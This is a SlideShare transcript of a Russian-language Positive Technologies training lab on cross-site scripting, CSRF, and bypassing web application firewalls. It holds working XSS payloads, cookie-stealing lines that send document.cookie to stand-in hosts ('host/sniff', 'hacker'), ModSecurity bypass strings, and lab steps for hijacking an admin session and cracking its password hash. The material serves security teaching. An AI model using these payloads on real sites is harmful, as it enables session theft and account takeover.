Your SlideShare is downloading. ×
0
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
PT MIFI Labxss
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

PT MIFI Labxss

1,965

Published on

0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
1,965
On Slideshare
0
From Embeds
0
Number of Embeds
4
Actions
Shares
0
Downloads
71
Comments
0
Likes
0
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Лабораторная работа по теме «Межсайтовое выполнение сценариев» Дмитрий Евтеев Positive Technologies
  • 2. План лабораторной работы
    • Введение в тему безопасности Web-приложений
    • Уязвимость типа «Межсайтовое выполнение сценариев»
    • Межсайтовое выполнение сценариев в Java/Flash-приложениях
    • Обход фильтров безопасности и Web Application Firewall (WAF)
    • Резюме
  • 3. Введение в тему безопасности Web-приложений …
  • 4. Опасный мир Web- приложений
    • По данным компании Positive Technologies за 2009 год
      • 79 % сайтов содержат критические уязвимости
      • 58 % сайтов содержат уязвимости средней степени риска
      • 54% сайтов содержат уязвимости, которые эксплуатируются на стороне клиента
      • http://ptsecurity.ru/analytics.asp
    Данные основываются на проведении 6239 автоматических сканирований, детальном анализе 77 Web-приложений, преимущественно с использованием методики «черного ящика».
  • 5. Распределение вероятности обнаружения уязвимостей по степени риска ( данные за 2009 год )
      • http://ptsecurity.ru/analytics.asp
  • 6. Классификация уязвимостей в web- приложениях
    • Web Application Security Consortium WASC-TCv2 / OWASP Top 10
    • CWE/SANS Top 25 Most Dangerous Programming Errors 2010
    • Threat Classification References Mapping Proposal
      • http://projects.webappsec.org/Threat%20Classification%20References%20Mapping%20Proposal
    http://projects.webappsec.org/Threat-Classification http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.pdf
  • 7. Опасный мир Web- приложений : статистика за 2009 г. Наиболее часто встречающиеся уязвимости веб-приложений при проведении анализа методом «черного ящика»
  • 8. Часть 1 : Межсайтовое выполнение сценариев
      • Уязвимость типа «Межсайтовое выполнение сценариев» ( Cross-site Scripting, XSS)
  • 9. Cross-Site Scripting – Базовые знания
    • "Межсайтовое выполнение сценариев"
    • Уязвимость Cross-Site Scripting ( XSS) связана с возможностью внедрения HTML-кода в уязвимую страницу. Внедрение кода может осуществляться через все доступные способы ввода информации. Успешная эксплуатация уязвимости может позволить атакующему использовать значения различных переменных, доступных в контексте сайта, записывать информацию, перехватывать сессии пользователей и т.д.
  • 10.
    • "Межсайтовое выполнение сценариев" может использоваться для :
      • Подмены содержимого сайта ( content spoofing , fishing )
      • Получения доступа к данным в контексте уязвимого сайта (например, к содержимому document.cookie )
      • Проведения атак на компоненты среды клиента (браузер, ActiveX, Adobe, etc .)
      • Распространения вредоносного кода ( ajax-worms )
    Cross-Site Scripting – Базовые знания
  • 11. Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев» Web- сервер http://web/?search=WhatIsWebSecurity ... <tr> <td valign=&quot;center&quot;><input class=&quot;inputtext&quot; type=&quot;text&quot; name=&quot;q“ value=&quot;What Is Web Security&quot;></td> <td valign=&quot;center&quot;><input type=&quot;submit&quot; class=&quot;inputbutton&quot; value=&quot; Искать&quot;></ td> </tr> ...
  • 12. Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев» Web- сервер http://web/?search=&quot;><script>alert('XSS')</script> ... <tr> <td valign=&quot;center&quot;><input class=&quot;inputtext&quot; type=&quot;text&quot; name=&quot;q“ value=&quot; &quot;><script>alert('XSS')</script> &quot;></td> <td valign=&quot;center&quot;><input type=&quot;submit&quot; class=&quot;inputbutton&quot; value=&quot; Искать&quot;></ td> </tr> ...
  • 13. Cross-Site Scripting – Базовые знания
    • Условно Cross-Site Scripting (XSS) делят на следующие типы :
      • Сохраненный вариант (persistent/stored)
      • Отраженный вариант (non-persistent/reflected)
    • Cross-Site Scripting обычно можно встретить :
      • В HTML - теге
      • В теле JavaScript / VBScript/etc (eq DOM-based)
      • В коде- HTML
      • В параметре тега- HTML
      • В Java/F lash приложениях
      • В ActiveX
    • Cross-Site Scripting – это уязвимость на стороне клиента ( client side )
      • Microsoft Internet Explorer 8 XSS filter
      • Mozilla NoScript Firefox extension
  • 14. Cross-Site Scripting – Классическая эксплуатация
    • Возможный метод обнаружения уязвимости /?id= &quot;><script>alert(1)</script>
      • HTML- код возвращаемой страницы примет вид
      • В параметре тега … <font size=&quot; &quot;><script>alert(1)</script> &quot; …
      • В тексте … <p> &quot;><script>alert(1)</script> </p>…
      • В результате браузер выполнит J avaScript- код
    • Пример практического использования :
    • &quot;><script src= http://host/script.js ></script>
  • 15. Cross-Site Scripting – Классическая эксплуатация
    • Пример (1) – по событию
    • Уязвимый HTML- код:
      • <IMG SRC=&quot; $filename &quot;>
    • Эксплуатация:
      • /?filename= &quot;onerror=alert('XSS');&quot;
      • /?filename= &quot;onerror=javascript:alert('XSS');&quot;
    • HTML-код возвращаемой страницы примет вид:
      • <IMG SRC=&quot;&quot; onerror=alert('XSS'); &quot;&quot;>
    • Пример практического использования:
    • /?filename=&quot;onerror=&quot;xss=new/**/Image().src=' http://host/sniff?c= '%2Bescape(document.cookie);&quot;
  • 16. Cross-Site Scripting – Различия браузеров
    • http://projects.webappsec.org/Script-Mapping
  • 17. Cross-Site Scripting – Классическая эксплуатация
    • Пример ( 2 ) – DOM-based
    • Уязвимый код:
    • ...
    • <select><script>
    • document.write(&quot;<OPTION value=1>&quot;+document.location.href.substring (document.location.href.indexOf(&quot;default=&quot;)+8) +&quot;</OPTION>&quot;);
    • document.write(&quot;<OPTION value=2>English</OPTION>&quot;);
    • </script></select>
    • ...
    • Штатная работа сценария:
      • /?default= Russia
      • /?default = French
    • Эксплуатация:
      • /?default= <script>alert(document.cookie)</script>
  • 18. Cross-Site Scripting – Безопасность Cookie
    • Атрибуты Cookie
    • Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
    • [; expires=<date>][; domain=<domain_name>]
    • [; path=<some_path>][; secure][; HTTPOnly]
  • 19. Наглядный пример атаки с использованием уязвимости типа «Межсайтовое выполнение сценариев» Web- сервер 1. fuzzing, поиск уязвимости 2. Передача «заряженной» ссылки : http://web/?search=&quot;><script>...</script> 3. Переход по ссылке 4. Выполнение исполняемого кода в браузере пользователя 5. Например, передача Web-сессии (cookies) 6. Работа с Web-приложением от имени атакованного пользователя
  • 20. Практическое занятие (1)
    • http:// 192 . 168 . 0 . 51 :80/
      • Найти уязвимость типа «Межсайтовое выполнение сценариев».
      • Создать сниффер для записи полезных данных.
      • Осуществить перехват сессии администратора приложения.
      • Авторизоваться под учетной записью администратора приложения.
  • 21. Часть 2: Межсайтовое выполнение сценариев в Java/Flash
      • Межсайтовое выполнение сценариев в Java/Flash-приложениях
  • 22. XSS && CSRF – Базовые знания
    • Уязвимость типа &quot;Подделка HTTP- запросов&quot; ( Cross-Site Request Forgery, CSRF , XSRF)
      • Практически не входит в статистику уязвимостей Positive Technologies и WASC по автоматизированным сканированиям (сложности при автоматизированном обнаружении)
      • В основном, эта ошибка встречается в том или ином виде во всех проанализированных веб-приложениях
      • Степень опасности уязвимости CSRF на прямую зависит от функций и задач , решаемых приложением
    • Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к веб-приложению
    • Уязвимость известна и используется с 1988 г., но только сейчас стало заметно движение в сторону ее повсеместного устранения (крупные Интернет - проекты, приложения eCommerce и др.)
    • Зачастую применяется связка XSS + CSRF
  • 23. Наглядный пример атаки с использованием уязвимости типа« Подделка HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?account=12345&amount=500&for=54321 > Интернет-банк ( ibanking ) 2. Пользователь посещает форум 3. Браузер загружает картинку по адресу : http://ibanking/action?... 4 . Если сессия пользователя существует, то…
  • 24.
    • document.domain = &quot;example.com&quot;; (!)
    • Методы обхода - Anti DNS Pinning, уязвимости реализации
    Ограничения политики доступа ( Same origin policy ) URL Результат Причины http://www.example.com/dir/page.html Разрешено Одинаковый протокол и узел http://www.example.com/dir2/other.html Разрешено Одинаковый протокол и узел http://www.example.com:81/dir2/other.html Запрещено Одинаковый протокол и узел, но различающийся порт https://www.example.com/dir2/other.html Запрещено Различающиеся протоколы http://en.example.com/dir2/other.html Запрещено Различающиеся узлы http://example.com/dir2/other.html Запрещено Различающиеся узлы (необходимы точные соответствия) http://v2.www.example.com/dir2/other.html Запрещено Различающиеся узлы (необходимы точные соответствия)
  • 25.
    • Для безопасности используются изолированные зоны безопасности (Sandbox security model)
    • Легальный способ расширения зоны безопасности – это использование файла «crossdomain.xml»
      • <cross-domain-policy>
      • <allow-access-from domain=&quot;*&quot;/>
      • </cross-domain-policy>
    • Или вызов соответствующей функции
      • System.security.loadPolicyFile (&quot;http://site/crossdomain.xml&quot;);
    Cross-Site Scripting ( Java/Flash ) – Базовые знания
  • 26.
    • Потенциально небезопасные функции ActionScript:
    • loadVariables()
    • loadMovie()
    • getURL()
    • loadMovie()
    • loadMovieNum()
    • FScrollPane.loadScrollContent()
    • LoadVars.load()
    • LoadVars.send()
    • LoadVars.sendAndLoad()
    • MovieClip.getURL()
    • MovieClip.loadMovie()
    • NetConnection.connect()
    • NetServices.createGatewayConnection()
    • NetSteam.play()
    • Sound.loadSound()
    • XML.load()
    • XML.send()
    • XML.sendAndLoad()
    Cross-Site Scripting ( Java/Flash ) – Базовые знания
  • 27.
    • Пример уязвимого кода на языке JAVA
    Cross-Site Scripting ( Java/Flash ) – Базовые знания
  • 28. Практическое занятие ( 2 )
    • http:// 192 . 168 . 0 . 51 :8 1 /
      • Найти уязвимость типа «Межсайтовое выполнение сценариев».
      • Воспользоваться AJAX- сценарием http:// 192.168.0.51 :8085/act.js
      • для автоматизированной эксплуатации уязвимости «Межсайтовое выполнение сценариев».
      • Воспользоваться уязвимостью типа «Межсайтовое выполнение сценариев» с автоматическим созданием нового пользователя в тестовом приложении.
      • Авторизоваться под учетной записью созданного пользователя.
  • 29. Часть 3: Обход фильтров безопасности и WAF
      • Обход фильтров безопасности и WAF
  • 30. Что такое WAF http:// server /?id=6329&print=Y Нас атакуют! Ахтунг!!! WAF Webserver http:// server /?id=5351 http:// server /?id=8234 http:// server /? id=&quot;><script>... http:// server /?id=1+union+select... http:// server /? id=/../../../etc/passwd Нормализация данных Decode HTML entities (e.g. &#99;, &quot;, &#xAA;) Escaped characters (e.g. , 01, xAA, uAABB) Null byte string termination ... Поиск сигнатуры /(sel)(ect.+fr)(om)/is /(uni)(on.+sel)(ect)/is ...
  • 31. Какие они бывают
    • По режиму работы :
      • Мост / Маршрутизатор
      • Обратный прокси-сервер
      • Встроенный
    • По модели защиты :
      • Основанный на сигнатуре ( Signature-based )
      • Основанный на правилах ( Rule-based )
    • По реакции на « плохой » запрос :
      • Очистка «опасных» данных
      • Блокировка запроса
      • Блокировка источника атаки
  • 32. Методы обхода WAF
    • Фундаментальные ограничения технологии
      • Неспособность полностью защитить Web- приложение от всех возможных уязвимостей
    • Общие проблемы
      • Разработчикам универсальных фильтров WAF приходиться балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика
      • Обработка возвращаемого трафика клиенту
    • Уязвимости реализации
      • Технологии нормализации запроса
      • Использование новых техник эксплуатации уязвимостей в Web ( HTTP Parameter Pollution , HTTP Parameter Fragmentation , замена null-byte и т.п. )
  • 33.
      • Общие проблемы
      • Сохраненный вариант XSS
      • В случае если удалось «протащить» XSS через фильтр, WAF не сможет воспрепятствовать реализации атаки
      • Отраженный вариант XSS в JavaScript- коде (инъекция JavaScript )
      • Пример : <script> ... setTimeout(&quot;writetitle()&quot;, $_GET[xss] ) ... </script>
      • Эксплуатация : /?xss= 500); alert(document.cookie);//
      • DOM-based XSS
      • Пример : <script> ... eval( $_GET[xss] ); ... </script>
      • Эксплуатация : /?xss= document.cookie
      • Аналогичные проблемы наблюдаются у фильтров защиты от XSS на стороне клиента client-side (например, IE8 )
    Методы обхода WAF – Cross-Site Scripting
  • 34. Методы обхода WAF: Возможные способы кодирования JavaScript
      • Пример : <script>alert(1)</script>
    • Hex- кодирование ( URL- представление)
      • %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E
    • HTML- кодирование
      • &#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;
      • &#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#49&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62
    • UTF7
      • +ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4-
    • … UTF8, base64, escape-encoding (style ) , etc
  • 35. Методы обхода WAF: Возможные способы кодирования JavaScript
      • Пример с BlackHat USA09:
      • <script>
      • ($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)
      • </script>
      • BlackHat USA09 Eduardo Vela (Эдуардо Вела) , David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf;
  • 36. Методы обхода WAF: Возможные способы кодирования JavaScript
      • http://utf-8.jp/public/jjencode.html
  • 37. Практика обхода WAF: Cross-Site Scripting
      • Обход правил фильтрации на примере ModSecurity:
      • 1;alert/*skip*/('XSS');
      • <img src=&quot;x:alert&quot; onerror=&quot;eval(src%2b'(0)')&quot;>
      • &quot;;document.write('<img sr'%2b'c=http:// hacker /x.png?'%2bdocument['cookie']%2b'>');&quot;
      • ...
      • BlackHat USA09 Eduardo Vela (Эдуардо Вела) , David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf
  • 38. Практическое занятие ( 3 )
    • http:// 192 . 168 . 0 . 51 :8 2 /
      • Найти уязвимость типа «Межсайтовое выполнение сценариев».
      • Воспользоваться техникой обхода WAF.
      • Осуществить перехват сессии администратора приложения.
      • Восстановить используемый пароль администратора приложения по перехваченному хеш-значению md5 используемого пароля.
      • Авторизоваться под учетной записью администратора приложения.
  • 39. Резюме лабораторной работы
  • 40.
    • Межсайтовое выполнение сценариев часто в стречается на широко известных и крупных Интернет-ресурсах
    Cross-Site Scripting в «живой природе»
  • 41. Резюме
    • Cross-Site Scripting – широко распространенная ошибка, допускаемая при разработке приложений
    • Пути устранения уязвимости типа «Межсайтовое выполнение сценариев» не всегда прозрачны
    • Правильно выстроенный процесс Software Development Life Cycle (SDLC) в значительной степени снижает вероятность появления уязвимостей в коде
    • Защита Web- приложений, также как и информационная безопасность в целом должна быть комплексной :)
  • 42. Дополнительные материалы и ссылки
    • Web Application Security Consortium (WASC)
    • http://projects.webappsec.org/Cross-Site+Scripting
    • http://projects.webappsec.org/Script-Mapping
    • Open Web Application Security Project (OWASP)
    • http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
      • ha.ckers XSS (Cross Site Scripting) Cheat Sheet
      • http://ha.ckers.org/xss.html
      • Jjencode
      • http://utf-8.jp/public/jjencode.html
  • 43. Спасибо за внимание! [email_address] http://devteev.blogspot.com/ http://ptresearch.blogspot.com/ http://www.ptsecurity.ru/

×